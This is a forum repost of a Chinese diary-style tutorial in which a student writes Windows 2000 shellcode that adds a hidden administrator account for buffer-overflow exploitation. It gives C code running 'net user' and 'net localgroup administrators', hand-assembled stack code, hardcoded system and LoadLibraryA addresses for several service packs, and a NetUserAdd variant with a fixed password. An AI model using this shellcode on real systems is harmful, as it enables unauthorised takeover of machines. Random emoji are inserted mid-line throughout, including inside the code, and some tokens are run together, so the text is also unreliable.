今天早点放学,我给大家再布置一个作业,回去独立完成一个ShellCode,功能是在系统上添加一个用户,并把它加成管理员身份,下节课我会让一位同学上台来给大家讲解他的完成过程。大家都要认真准备啊!不然上台说不出话来,被大家笑话就不好意思了吧!班上还有女生呢!0K,今天到此为止,放学!”
帖子热度 2万 ℃
|
|
添加用户ShellCode的编写 小强的日记之二——添加用户ShellCode的编写 9月23日阴 🧓👗🪟😷✊ 这几次课都在学习缓冲区溢出利用的编程,现在已经进入ShellCode的编写阶段了。经过这几次的学习,自己对ShellCode的编写有了初步了解,知道ShellCode是如何来的,感觉在老师的指导下又有了很大进步。但要搞懂整个技术还有很长的路要走,自己一步步来吧! 老师还布置了作业,留给我的一个是找Win2000SP2下LoadLibrary和system函数的地址;另一个是写一个在系统中添加一个管理员用户的ShellCode,并让人上台讲。在回家的路上,我就想,自己一定要认真准备准备,不然抽到了我,上去什么都说不出来,其不惨了? 回到家后,匆匆吃完饭,就坐到电脑前考虑这两个问题。 👮♂️👓🗡🤡🖕 对第一个找函数地址的问题,比较简单。我把老师给的程序拷到Win2000SP2系统上,并加上找LoadLibrary的语句,得到GetLoadSysAdd.cpp,就像下图,然后编译、执行。 这个程序有问题,system函数的地址找到了,是0x77E6A254,但LoadLibrary地址为0,表示没有找到。当时很奇怪,自己也一下子紧张了起来,马上上网找了很久才发现,在系统中是没有LoadLibrary这个函数的,只有LoadLibraryA和LoadLibraryW这两个函数,在ASCII参数时系统会用LoadLibraryA,在Unicode参数时会用LoadLibraryW。至于什么是ASCII,什么是Unicode,自己还不清楚,只有明天问老师了。 💅🎢🍌🈴🐶 于是我马上把程序改成LoadLibraryA并执行,这下正确了,如图。 看到在Win2000SP2上,system函数地址为0x78019B4A,LoadLibraryA函数的地址为0x77E6A254,我忙把它们抄了下来。第一个问题总算解决了,长松了一口气,心里稍微平缓了些。 ✌⛵🫖🔞🐋 然后我继续考虑第二个问题,编写添加用户的ShellCode。在Windows中添加用户,要么在控制面板里的“用户帐号”中添加,要么在DOS命令行下执行net user name /add;要把一个帐户添加到管理员,则要在DOS命令行下执行net localgroup administrators name /add。 看来这里只有使用命令行下的指令添加用户了。我仿照老师的步骤,先写出C的程序,然后改成汇编,最后提取出ShellCode。 👮♂️🪖💉😉🤌 和开DOS窗口的程序类似,添加一个名为“c”的管理员,其C程序代码如下: [mw_shl_code=c,true]#include<windows.h> intmain() { 🧠⛪🦞♊🦖 LoadLibrary("msvcrt.dll"); system("net user c /add"); system("net localgroup administrators c /add"); return0;💍📞😇🤞 }[/mw_shl_code] 即执行用户添加命令,再将用户执行升为管理员。我测试了一下,将程序命名为“AddUserC.c”,编译执行,成功了!添加了一个名为“c”的管理员用户,如图。 然后最困难的地方到了:把上面的程序改成汇编。 第一句“LoadLibrary(“msvcrt.dll”)”可以把老师给的程序抄过来。 第二、三句就要把老师给的代码稍微改一下,将参数改成这里的参数才行。 🙌🌕🍧❓🐡 对“system(〃net user c /add")”这句话,就按Windows系统执行函数的原理,先参数入栈,再CALL system函数的地址。这里的参数是“net user c /add”字符串的地址,所以先在栈中构造出“net user c /add”,即这样: [mw_shl_code=c,true]mov esp,ebp ; 把ebp的内容赋值给esp push ebp ; 保存ebp,esp则减4 mov ebp,esp ; 给ebp赋新值,将作为局部变量的基指针🧓🪥🤤👂 xor edi,edi ; push edi ; 压入0,esp-4,作用是构造字符串的结尾\0字符 push edi push edi push edi ; 加上上面,一共有16个字节,用来放“net user c /add”🧑🚀🧥✒🤑✍ mov byte ptr [ebp-0Fh],6eh ;n mov byte ptr [ebp-0eh],65h ;e mov byte ptr [ebp-0dh],74h ;t mov byte ptr [ebp-0ch],20h ; mov byte ptr [ebp-0bh],75h ;u👩✈️👠💿🥰🙌 mov byte ptr [ebp-0ah],73h ;s mov byte ptr [ebp-09h],65h ;e mov byte ptr [ebp-08h],72h ;r mov byte ptr [ebp-07h],20h ; mov byte ptr [ebp-06h],63h ;c 👃🌧🍽♏🐡mov byte ptr [ebp-05h],20h ; mov byte ptr [ebp-04h],2Fh ;/ mov byte ptr [ebp-03h],61h ;a mov byte ptr [ebp-02h],64h ;d mov byte ptr [ebp-01h],0h ;0[/mw_shl_code]🧑⚕️🧥🛋😋🦷 字符串构造好后,再把ESP——现在“netuserc/add”串的地址作为参数,压入堆栈: [mw_shl_code=c,true]lea eax,[ebp-0fh] ; push eax ; 字符串地址作为参数入栈 👵🥾✏😚🤳 ★ 最后CALL system函数的地址(即0x78019B4A): ★ mov eax, 0x78019B4A ; win2000 sp2 system函数地址 call eax ; 调用system[/mw_shl_code] 👀🦼🦞☣🦚 上面的代码弄了半天才弄好。测试了一下,先把另外两句保留,只把“system("net user c /add")”改为上面的汇编,得到“AddUserASM.cpp”,运行结果如图,成功了! 当看到“命令成功完成”的提示时,我难以抑止心中那种狂喜的冲动,从椅子上跳了起来,把手握成拳头从空中划过,大吼了一声“Yeah”!当时的心情只有经历过千辛万苦最后成功的人才能体会到。 🧠⛄🍊♑🦦 那个时刻,我深深感受到了研究缓冲区编程的魅力。 父母推开门,问我发生了什么事,我笑了笑,告诉它们没什么,只是解决了一个技术问题。他们嘱咐我不要太累、注意早点休息后又出去了。心情稍平静后,我再次坐了下来,把剩下的“LoadLibrary("msvcrt.dll")”和“system("net localgroup administrators c /add")”也仿照着改为汇编,得到了“AddUserAllASM.cpp”,再次编译执行,还是成功了! 👀🪐🥚ℹ🦋 可能因为刚才太过兴奋,这次我的心情没那么激动了。最后剩下的只有体力活了,我按老师讲的方法在VC中按F10键进入调试状态,把汇编对应的机器码抄下来,得到了自己写的第一个ShellCode。太有成就感了!提取出ShellCode后,把它存在“AddUserCode.cpp”里,但发现还不知道如何验证是否正确,明天去问问老师吧!ShellCode比较长,我抄了很久,抄完后觉得好累啊!一看表,不知不觉夜都深了,今天就到这里吧,休息了,明天继续认真听课。那个小倩,今天看了我两眼,不知是否对我也有感觉呢?不想了,继续努力吧!把握好大学这四年的时光,无悔这青春岁月。 到这里,我想起了一首诗。 🧑💻🧢🗑🤡✌ 取天狼 昨夜小风残月,望断天狼斜射。 万里苍穹茫茫,吾心蓦然雄起。 直取天狼,天为证。 若是它年不出头,甘愿忍受一生愁。 男儿立志扫四方,天狼星,英雄取。 海到无边天做岸,山登至极我为峰。 好个海到无边天做岸,山登至极我为峰!以此句为座右铭,提醒自己,时时努力,不敢松懈! 小强的日记之三一添加用户的另一种方法🧓🧢🔭😈👏 9月27日晴 今天是个艳阳天,就如同我的心情一样,晴空万里。 上午一大早我就去了教室,看了一会儿书,同学们才陆续到来。上课铃响后,老师走进了教室,问大家查找LoadLibrary和system函数地址的问题解决得怎么样。 👂🗽🦀🉑🦮 大家都把system函数的地址找到了,并报了出来。而LoadLibrary的地址其他人都说没有找到,老师最后问到了我,我说内存中没有LoadLibrary的函数,只有LoadLibraryA和LoadLibraryW函数,我找了LoadLibraryA的地址。老师高兴的说:“就是这样的。” 🧑🎤🕶🪣😈✋ 并解释道:“在Win2000下,系统只有LoadLibraryW的实现,LoadLibraryA只有一个壳。如果调用LoadLibraryA,其实也是系统自动把ASCII参数变为Unicode参数,再调用LoadLibraryW函数。”老师还把ASCII和Unicode的差别讲了一下。 小知识:ASCII和Unicode ASCII编码是用一个字节来表示字符,这样只有256种组合,能表达的字符有限。而Unicode是用两个字节(16位)来表示字符,这样共有65536种组合,可以表达完世界上的所有文字。为了世界化推广产品、减少成本以及提高效率,现在人们都更多的使用Unicode编码。🧑⚕️👗💿😰👄 Unicode只是一个字形和内码上的标准,并没有定义实际在电脑中存取的方法。因此,Unicode协会便定义了一整套存取Unicode编码的转换格式,称之为UTF,常用的格式有UTF-8和UTF-16。 接下来是讨论时间,老师找一位同学上去讲昨天的作业——添加用户的ShellCode的编写。当时老师环顾了一下大家,并问有没有同学自愿。我心里很矛盾,既想上去让大家看看我的成果,又怕讲得不好。最后在老师的再三激励以及小倩MM期待的目光下,我勇敢的站了起来,并在大家的掌声中走上了讲台。 🖐⛴🥚🈷🐞 在台上,我把昨天在家中的分析和实现过程详细的说了一遍,并把提取出来的ShellCode拿给老师和同学们看,结果得到了老师和同学们的一致肯定和表扬。 就是在台上的时候太紧张了,下台坐好后,才发现自己一身的汗水,腿也在不断打颤,幸好大家都看不到,特别是小倩,不然多没面子啊!相信有了这次经验,下次要好得多,希望以后能有更多类似的锻炼机会。 最后老师还给出了一种新的添加用户的版本,其C代码如下:🧑🚀👗🧬🙂 [mw_shl_code=c,true]#ifndef UNICODE #define UNICODE #endif #include <stdio.h>🧑🌾👙📞😔✊ #include <windows.h> #include <lm.h> #pragma comment(lib,"netapi32") int wmain() { ✋🏫🍇➡🐅USER_INFO_1 ui; DWORD dwError = 0; ui.usri1_name = L"ww0830"; ui.usri1_password = L"ww0830"; ui.usri1_priv = USER_PRIV_USER; ✍🎠🥚🈷🦦ui.usri1_home_dir = NULL; ui.usri1_comment = NULL; ui.usri1_flags = UF_SCRIPT; ui.usri1_script_path = NULL; //添加名为ww0830的用户,密码也为ww0830 💪🌧🍒🅱🐖if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success) { //添加成功 printf("Add user success.\n"); } 👵👠📟🥲👆 else { //添加失败 printf("Add user Error!\n"); return 1; 🖕🌦🍪❓🦮 }wchar_t szAccountName[100]={0}; wcscpy(szAccountName,L"ww0830"); LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname=szAccountName; 🤙🏦🫖🚭🐟//把ww0830添加到Administrators组 if(NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1)== NERR_Success ) { //添加成功🧑🍳🧦🪓🤩✋ printf("Add to Administrators success.\n"); return 0; } else { 👦📥🤮🙌 //添加失败 printf("Add to Administrators Fail!\n"); return 1; } }[/mw_shl_code] 🤝⛄🍊🅿🦠 这种方法用的是Netapi32.dll里的NetUserAdd和NetLocalGroupAddMembers函数。好酷啊!当时我就下定决心:自己会复杂ShellCode的编写后,一定要把它改为机器码的ShellCode。 不过我又想到,那些实际的ShellCode是怎样的呢?如果只是添加个用户,用处不是很大,于是我提出了自己的疑问。 👨🎨🧢📏🤐🙌 老师又表扬了我,说考虑得很全,并说下节课继续复杂的ShellCode的研究,写一个真正的ShellCode。看到小倩又看了我一眼,心里为之一动。她这一望,有什么意思呢?她也知道我的一片心情吗? 最远的距离不是天涯海角,而是在你身边却不知道我爱你。 可能以后自己会慢慢理解这句话吧!🧑🎤🧢📟😡👍 可惜今天我要早点去亲戚家吃饭,下课后就急急忙忙的走了。 晚上去外婆家玩到很晚。一家人聚在一起吃饭很是热闹,很久没有这样放松过了。作业完成得很好,也可以好好的休息一下了,今天真是惬意啊! 👨🦱🥾📥😀👀 课后解惑 Q:我在Windows2000SP2版本下,查找到LoadLibraryA函数的地址是0x77E6A254,system函数的地址是0x78019B4A,都是正确的,但为什么我把ShellCode对应的地方改成“\x77\xE6\xA2\x54”和“\x78\x01\x9B\x4A”后,不能弹出DOS窗口呢? A:你把字节的顺序写反了,应该是“\x54\xA2\xE6\x77”和“\x4A\x9B\x01\x78”。 Q:哦!改动后的确能正确弹出DOS对话框了,但为什么顺序要是这样呢?好别扭啊! 👆⛵🌶🉑🦜 A:在Windows系统下,多字节数存放的规则是:数的高位放在内存高址,数的低位放在内存低址。对0x77E6A25478来说,0x77是最高位,所以要放在内存的高地址,而在字符串中,是按照内存从低到高排列的,所以要把0x77放在字符串中数的最后。在后面的章节中还会讲到。Q:能不能给出一些系统下LoadLibraryA函数和system函数的地址值呢? A:好的。LoadLibraryA和system函数的地址在Win2000SP0下,分别是0x77E78023和0x7801AAAD;在SP2下分别是0x77E6A254和0x78019B4A;在SP3下分别是0x77E69F64和0x7801AFC3;在XPSP0下分别是0x77E605D8和0x77BF8044。 👂⛵🍼🈚🐂 要注意的是,覆盖的跳转地址也要符合相应版本,最好使用通用地址。 Q:为什么LoadLibrary函数在系统里面有LoadLibraryA和LoadLibraryW两种实现?而system只有一个实现,没有systemA或systemW呢? A:问得好!这是因为在Windows下,存在几种编程接口。 👊🚈🍪❌🦜一种是WindowsAPI函数。这类函数是和Windows系统相关的,使用的也是Windows下才特有的数据类型(比如CHAR)。API函数就存在A和W这两种实现,而LoadLibrary是API函数。 另一种是C运行链接库,是按照C语言的标准来实现的,所以只有小写字母,而且只有一种实现,比如system函数。 Q:那怎么区分API函数和C运行库函数呢? 🦷🎠🍟⚛🦦A:从函数的命名可以看出来。API函数遵循的是Windows自己定义的命名规范,是大小写混写的函数,如LoadLibrary;而在C语言标准中,规定函数名称都是小写,所以C运行库函数也遵循全是小写的规范,如system。 Q:为什么Windows会有两种命名规范呢? A:因为微软想遵循一种更科学的命名规范,所以规定了API函数命名法则;但为了保持和标准C语言的兼容,C运行库函数还是遵循了C语言标准的规定;所以存在了两种命名规范。🥾📷😂👊 Q:那我们自己编程时用那种命名规则呢? A:哈哈!命名规则应和所用的操作系统或开发工具的风格保持一致。例如,Windows应用程序的标识符通常用“大小写”混排的方式,如AddChild;而Unix应用程序的标识符用“小写加下划线”的方式,如add_child。别把这两类风格混在一起用。我们自己开发时,在Windows下建议使用“匈牙利”命名规则,类名和函数名用大写字母开头的单词组合而成,变量和参数用小写字母开头的单词组合而成,常量全用大写,全局变量加前缀“g”,类的数据成员加前缀"m_"。 Q:我们如何验证提取出的ShellCode是否正确呢?太容易抄错了。 👊🚐🥣⚛🦌 A:有两种方法。一种方法是在实际溢出程序中,使用提取出的ShellCode测试,看能否达到效果;另一种方法就是把ShellCode数组当成一个函数来执行,其实现办法会在下一章的“验证ShellCode功能方法”中讲到。Q:好像ShellCode里面不能有0x00,为什么呢?怎么避免呢? A:因为0x00是字符串的结束符,如果ShellCode中存在,就会被截断;我们会在ShellCode变形大法一章中详细的讲解如何避免0x00的方法。 🧑🍳👜🪣😆👃 |
|
楼主,是你让我深深地理解了'人外有人,天外有天’这句话。谢谢你! #365:
|